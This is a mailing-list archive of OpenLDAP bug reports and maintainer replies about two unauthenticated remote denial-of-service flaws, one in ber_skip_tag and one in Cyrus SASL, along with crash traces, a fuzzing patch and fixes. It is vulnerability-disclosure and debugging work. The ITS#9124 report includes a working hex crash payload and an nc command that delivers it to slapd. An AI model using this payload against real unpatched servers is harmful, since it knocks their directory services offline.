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Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by stephan＠srlabs.de 29 Nov '19

29 Nov '19

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Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by hyc＠symas.com 29 Nov '19

29 Nov '19

stephan(a)srlabs.de wrote: > Note: After Cyrus SASL fixes the other issue #9123, I will request CVE id= > 's for the two bugs and share them as a reference in the relevant issues = > (#9123, #9124) Usual practice for CVEs is not to make them public until fixes are released. In the future, you should tick the Major Security Issue button for potential CVEs so they can be handled privately before release. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

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Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by stephan＠srlabs.de 29 Nov '19

29 Nov '19

--------------ms020107020804030202050609 Content-Type: multipart/mixed; boundary="------------B39567B16EE4CE18797C4253" Content-Language: en-US This is a multi-part message in MIME format. --------------B39567B16EE4CE18797C4253 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hi Ond=C5=99ej =E2=80=94 The commit 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 seems to fix the null= pointer dereference issue. Using honggfuzz netdriver module, fuzzing of slapd can be accomplished re= latively easy. You can follow the below instructions to fuzz the server: 1. Install honggfuzz (stable) $ export CC=3Dhfuzz-clang $ export CXX=3Dhfuzz-clang++ 2. Apply attached patch (fuzz.patch) 3. Compile openldap $ ./configure $ make depend $ make $ make install 4. Create testcase directory including seeds (probably you have way bette= r seeds then I have :), I just used ldap payloads extracted from some pca= p's) $ mkdir testcases 5. Start fuzzing $ HFND_TCP_PORT=3D9090 honggfuzz -w ldap.wordlist -f testcases/ -- ./libe= xec/slapd -d 1 -h ldap://127.0.0.1:9090 As you see, the fuzzing setup is relatively simple thanks to honggfuzz. Hope this helps! Note: After Cyrus SASL fixes the other issue #9123, I will request CVE id= 's for the two bugs and share them as a reference in the relevant issues = (#9123, #9124) Cheers =C2=A0=C2=A0=C2=A0 -Stephan On 11/29/19 1:06 PM, Ond=C5=99ej Kuzn=C3=ADk wrote: > On Fri, Nov 29, 2019 at 09:08:15AM +0000, stephan(a)srlabs.de wrote: >> Unauthenticated remote denial-of-service through malformed ldap packet= >> caused by a null pointer dereference in ber_skip_tag function >> (libraries/liblber/decode.c). >> >> =3D=3D4066091=3D=3D by 0x4FD051: cancel_extop (cancel.c:52) > Hi Stephan, > thanks for the report, this should be fixed by commit > 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. > > Looks like you are fuzzing the server which has been on my to do list > for a while, many thanks for that and I'm looking forward to reading > how you did it. Would you be willing to help the project integrate your= > work in its testing process after you've finished? > > Thanks, > --------------B39567B16EE4CE18797C4253 Content-Type: text/x-patch; charset=UTF-8; name="fuzz.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="fuzz.patch" diff --git a/servers/slapd/main.c b/servers/slapd/main.c index f528aa951..1941ae3de 100644 --- a/servers/slapd/main.c +++ b/servers/slapd/main.c @@ -349,12 +349,14 @@ usage( char *name ) ); } =20 -#ifdef HAVE_NT_SERVICE_MANAGER -void WINAPI ServiceMain( DWORD argc, LPTSTR *argv ) +//#ifdef HAVE_NT_SERVICE_MANAGER +//void WINAPI ServiceMain( DWORD argc, LPTSTR *argv ) +//#else +#ifdef HFND_FUZZING_ENTRY_FUNCTION +HFND_FUZZING_ENTRY_FUNCTION(int argc, char **argv) { #else -int main( int argc, char **argv ) +int main( int argc, char **argv ) { #endif -{ int i, no_detach =3D 0; int rc =3D 1; char *urls =3D NULL; --------------B39567B16EE4CE18797C4253-- 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Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by ondra＠mistotebe.net 29 Nov '19

29 Nov '19

On Fri, Nov 29, 2019 at 09:08:15AM +0000, stephan(a)srlabs.de wrote: > Unauthenticated remote denial-of-service through malformed ldap packet > caused by a null pointer dereference in ber_skip_tag function > (libraries/liblber/decode.c). > > ==4066091== by 0x4FD051: cancel_extop (cancel.c:52) Hi Stephan, thanks for the report, this should be fixed by commit 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. Looks like you are fuzzing the server which has been on my to do list for a while, many thanks for that and I'm looking forward to reading how you did it. Would you be willing to help the project integrate your work in its testing process after you've finished? Thanks, -- Ondřej Kuzník Senior Software Engineer Symas Corporation http://www.symas.com Packaged, certified, and supported LDAP solutions powered by OpenLDAP

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(ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by stephan＠srlabs.de 29 Nov '19

29 Nov '19

Full_Name: Stephan Zeisberg Version: 2.4.48 OS: Fedora 31 (kernel 5.3.11-300.fc31.x86_64) URL: Submission from: (NULL) (217.228.59.1) # Issue description Unauthenticated remote denial-of-service through malformed ldap packet caused by a null pointer dereference in ber_skip_tag function (libraries/liblber/decode.c). # Version openldap-2.4.48.tgz # How to reproduce ## Compile $ tar xzvf openldap-2.4.48.tgz $ cd openldap-2.4.48 $ ./configure --prefix=/tmp/openldap $ make depend $ make $ make install $ cd /tmp/openldap ## Start server $ ./libexec/slapd -d 1 -h ldap://127.0.0.1:9091 ## Create PoC crash file $ echo -n "3084000000b902022da277072d0b312e332e362e312e312e38810038303132353339313934303339cb36352e2e2e2e2e2e2e2ec8a6134cba3e07b6bc691e2e79a9a3f6d0bb7b5d789a8be1058da4a448206401aadcc21bc939ba86a2f30c64f585b9e65fafb0a10d8427736b1bc0422868aa1fda601953d87aa638228bc4ae2dc2f85be810f282847bcab689fb75755eed809d8e284b647ee3c76b52bd6e309d4fa7a2437cf195f6682b4bd303d2de1654160613adb2744b9632515871278b01671ca5a8faf18f736964d34f8da5d40370ec68f2b68b47fe1f2b6d1a04359f54ad827ae21963768ef1f854e03f173e1f57c1b04c5b3dd2a736bb6ea159e5000000000000000272af3a4164acbf51b0b27c7d1ed9ce4b52b0a6b0a4d678fecd8112dd6c4d00" | xxd -r -p > ldap.crash ## Execute PoC (may need to be executed multiple times) $ nc 127.0.0.1 9091 < ldap.crash # Valgrind + UBSAN 5de0ddc3 connection_read(12): checking for input on id=1000 ber_get_next ber_scanf fmt ({i}) ber: ==4066091== Thread 3: ==4066091== Invalid read of size 1 ==4066091== at 0x63E1DF: ber_skip_tag (decode.c:256) ==4066091== by 0x63F7A8: ber_scanf (decode.c:865) ==4066091== by 0x4FD051: cancel_extop (cancel.c:52) ==4066091== by 0x4BE530: fe_extended (extended.c:222) ==4066091== by 0x4BE36B: do_extended (extended.c:177) ==4066091== by 0x472CA7: connection_operation (connection.c:1158) ==4066091== by 0x471331: connection_read_thread (connection.c:1294) ==4066091== by 0x5FEE79: ldap_int_thread_pool_wrapper (tpool.c:696) ==4066091== by 0xCA384E1: start_thread (in /usr/lib64/libpthread-2.30.so) ==4066091== by 0xCCC6692: clone (in /usr/lib64/libc-2.30.so) ==4066091== Address 0x0 is not stack'd, malloc'd or (recently) free'd ==4066091== UndefinedBehaviorSanitizer5de0ddc3 ber_get_next on fd 12 failed errno=0 (Success) :DEADLYSIGNAL ==4066091==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000063e1df bp 0x00004ee77660 sp 0x00004ee77640 T4066125) ==4066091==The signal is caused by a READ memory access. ==4066091==Hint: address points to the zero page. ==4066129== Warning: invalid file descriptor 1024 in syscall close() #0 0x63e1de in ber_skip_tag /tmp/openldap-2.4.48/libraries/liblber/decode.c:255:15 #1 0x63f7a8 in ber_scanf /tmp/openldap-2.4.48/libraries/liblber/decode.c:865:10 #2 0x4fd051 in cancel_extop /tmp/openldap-2.4.48/servers/slapd/cancel.c:52:7 #3 0x4be530 in fe_extended /tmp/openldap-2.4.48/servers/slapd/extended.c:222:16 #4 0x4be36b in do_extended /tmp/openldap-2.4.48/servers/slapd/extended.c:177:15 #5 0x472ca7 in connection_operation /tmp/openldap-2.4.48/servers/slapd/connection.c:1158:7 #6 0x471331 in connection_read_thread /tmp/openldap-2.4.48/servers/slapd/connection.c:1294:14 #7 0x5fee79 in ldap_int_thread_pool_wrapper /tmp/openldap-2.4.48/libraries/libldap_r/tpool.c:696:3 #8 0xca384e1 in start_thread (/lib64/libpthread.so.0+0x94e1) #9 0xccc6692 in clone (/lib64/libc.so.6+0x101692) UndefinedBehaviorSanitizer can not provide additional info. Please let me know what additional information I can provide to successfully reproduce the issue. Note: I have also tested and reproduced the issue using the precompiled package from the Fedora repositories: openldap-servers-2.4.47-3.fc31.x86_64 (OpenLDAP: slapd 2.4.47 (Jul 25 2019 00:00:00)) -Stephan Zeisberg

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Re: (ITS#9120) Searches including generalizedTime attributes with index
by hyc＠symas.com 28 Nov '19

28 Nov '19

Howard Chu wrote: > Howard Chu wrote: >> markus.widmer(a)daasi.de wrote: > >>> We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can >>> reproduce this as well to see what is happening here. >> >> Yes, can reproduce this. The function that converts a component-wise time >> into a timet is referencing time since 1970. The date in 1956 would yield a >> negative timet value but the fields are unsigned ints, so instead it's treated >> as 17,000 years in the future. We can probably change this to handle signed >> timestamps but need to consider this further. >> > I believe the best way forward would be to allow signed values, and also to switch > our epoch reference from 1970-01-01 to 0000-01-01 (i.e., use Gregorian Proleptic calendar). > Year zero would be 1 BCE in this calendar, and anything earlier would be a negative year. > > Changing these functions will require regenerating any indices. Looks like something > we'll rewrite for 2.5 but leave 2.4 alone. Fixed in git master commit 97c145919d8c702003b9cd8bac0e01083d3ab9a1 The time is now calculated with signed years, but the result is still returned as an unsigned value (with negative years properly sorting as less than positive years). Note that the slapd schema validator still rejects negative years at the moment. Will need to look further at that later. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

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Re: (ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

--------------ms050304040807030706080402 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Content-Language: en-US Created an issue upstream [1] and included the valgrind output and propos= ed patch. [1] https://github.com/cyrusimap/cyrus-sasl/issues/587 =C2=A0=C2=A0=C2=A0 -Stephan On 11/28/19 4:16 PM, Howard Chu wrote: > 5ddfddde do_bind: dn () SASL mech <garbage> > 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> > datalen=3D0 > =3D=3D11019=3D=3D Thread 3: > =3D=3D11019=3D=3D Invalid write of size 1 > =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c= :1048) > =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479) > =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) > =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size 6= 00 alloc'd > =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) > =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) > =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) > =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c= :1048) > =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479) > =3D=3D11019=3D=3D > =3D=3D11019=3D=3D Invalid read of size 1 > =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gnu= /valgrind/vgpreload_memcheck-amd64-linux.so) > =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-intern= al.c:1688) > =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:11= 4) > =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) > =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) > =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size 6= 00 alloc'd > =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) > =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) > =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) > =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c= :1048) > =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479) --------------ms050304040807030706080402 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME 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Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

Stephan Zeisberg wrote: > Hi Howard =E2=80=94 >=20 > Thanks for the quick reply. Will forward the report upstream to Cyrus S= ASL. For reference, this fixes the bug: vielle:/home/software/cyrus-sasl> git diff diff --git a/lib/common.c b/lib/common.c index bc3bf1df..9969d6aa 100644 --- a/lib/common.c +++ b/lib/common.c @@ -190,7 +190,7 @@ int _sasl_add_string(char **out, size_t *alloclen, if (add=3D=3DNULL) add =3D "(null)"; - addlen=3Dstrlen(add); /* only compute once */ + addlen=3Dstrlen(add)+1; /* only compute once */ if (_buf_alloc(out, alloclen, (*outlen)+addlen)!=3DSASL_OK) return SASL_NOMEM; Git history shows this bug has existed since the code was originally writ= ten in ommit 061698456069833e244d66ce33c8f82c2cd63ce3 Author: Rob Siemborski <rjs3(a)andrew.cmu.edu> Date: Tue Dec 4 01:59:43 2001 +0000 >=20 > Best >=20 > =C2=A0=C2=A0=C2=A0 -Stephan >=20 > On 11/28/19 3:54 PM, Howard Chu wrote: >> Resending with the non-printable chars omitted: >> >> Howard Chu wrote: >>> Thanks, but your trace clearly shows that this is a fault in Cyrus SA= SL, you should be reporting >>> this issue to them. >>> >>> valgrind confirms it as well: >>> >>> 5ddfddde do_bind: dn () SASL mech <garbage> >>> 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> >>> datalen=3D0 >>> =3D=3D11019=3D=3D Thread 3: >>> =3D=3D11019=3D=3D Invalid write of size 1 >>> =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool= .c:1048) >>> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479= ) >>> =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) >>> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size= 600 alloc'd >>> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-= gnu/valgrind/vgpreload_memcheck-amd64-linux.so) >>> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >>> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >>> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool= .c:1048) >>> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479= ) >>> =3D=3D11019=3D=3D >>> =3D=3D11019=3D=3D Invalid read of size 1 >>> =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >>> =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-inte= rnal.c:1688) >>> =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:= 114) >>> =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) >>> =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) >>> =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size= 600 alloc'd >>> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-= gnu/valgrind/vgpreload_memcheck-amd64-linux.so) >>> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >>> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >>> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool= .c:1048) >>> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479= ) >>> >>> >>> >>> >> >=20 --=20 -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

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Re: (ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

--------------ms000905070707070901010503 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Content-Language: en-US Hi Howard =E2=80=94 Thanks for the quick reply. Will forward the report upstream to Cyrus SAS= L. Best =C2=A0=C2=A0=C2=A0 -Stephan On 11/28/19 3:54 PM, Howard Chu wrote: > Resending with the non-printable chars omitted: > > Howard Chu wrote: >> Thanks, but your trace clearly shows that this is a fault in Cyrus SAS= L, you should be reporting >> this issue to them. >> >> valgrind confirms it as well: >> >> 5ddfddde do_bind: dn () SASL mech <garbage> >> 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> >> datalen=3D0 >> =3D=3D11019=3D=3D Thread 3: >> =3D=3D11019=3D=3D Invalid write of size 1 >> =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) >> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size = 600 alloc'd >> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> =3D=3D11019=3D=3D >> =3D=3D11019=3D=3D Invalid read of size 1 >> =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-inter= nal.c:1688) >> =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:1= 14) >> =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) >> =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) >> =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size = 600 alloc'd >> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: 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Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

Resending with the non-printable chars omitted: Howard Chu wrote: > Thanks, but your trace clearly shows that this is a fault in Cyrus SASL, you should be reporting > this issue to them. > > valgrind confirms it as well: > > 5ddfddde do_bind: dn () SASL mech <garbage> > 5ddfddde ==> sasl_bind: dn="" mech=<garbage> > datalen=0 > ==11019== Thread 3: > ==11019== Invalid write of size 1 > ==11019== at 0x4B9B1DB: sasl_seterror (seterror.c:247) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== by 0x4EFA322: clone (clone.S:95) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > ==11019== > ==11019== Invalid read of size 1 > ==11019== at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4E53DE4: __vfprintf_internal (vfprintf-internal.c:1688) > ==11019== by 0x4E67029: __vsnprintf_internal (vsnprintf.c:114) > ==11019== by 0x3A1FFA: lutil_debug (debug.c:74) > ==11019== by 0x266FF3: slap_sasl_log (sasl.c:146) > ==11019== by 0x4B9B4CF: sasl_seterror (seterror.c:260) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== Address 0x62032a8 is 0 bytes after a block of size 600 alloc'd > ==11019== at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) > ==11019== by 0x4B930A4: _buf_alloc (common.c:2186) > ==11019== by 0x4B93299: _sasl_add_string (common.c:196) > ==11019== by 